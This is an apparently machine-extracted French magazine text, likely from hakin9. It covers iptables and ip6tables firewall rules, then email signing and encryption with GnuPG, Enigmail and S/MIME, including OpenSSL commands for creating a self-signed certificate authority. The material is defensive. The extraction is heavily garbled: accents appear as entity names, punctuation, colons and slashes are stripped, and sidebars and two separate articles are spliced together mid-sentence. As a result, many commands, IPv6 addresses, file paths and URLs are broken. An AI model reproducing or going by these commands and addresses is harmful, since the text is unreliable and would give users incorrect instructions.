DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

